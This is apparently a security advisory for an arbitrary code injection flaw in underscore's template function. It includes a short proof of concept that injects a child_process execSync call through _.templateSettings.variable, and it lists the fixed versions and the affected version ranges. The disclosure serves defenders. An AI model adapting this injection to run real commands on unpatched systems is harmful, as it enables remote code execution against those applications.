Arbitrary Code Injection

underscore is a JavaScript's functional programming helper library.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the template function, particularly when the variable option is taken from _.templateSettings as it is not sanitized.

PoC

const _ = require('underscore');
_.templateSettings.variable = "a = this.process.mainModule.require('child_process').execSync('touch HELLO')";
const t = _.template("")();

How to fix Arbitrary Code Injection?

Upgrade underscore to version 1.13.0-2, 1.12.1 or higher.

>=1.13.0-0 <1.13.0-2 >=1.3.2 <1.12.1
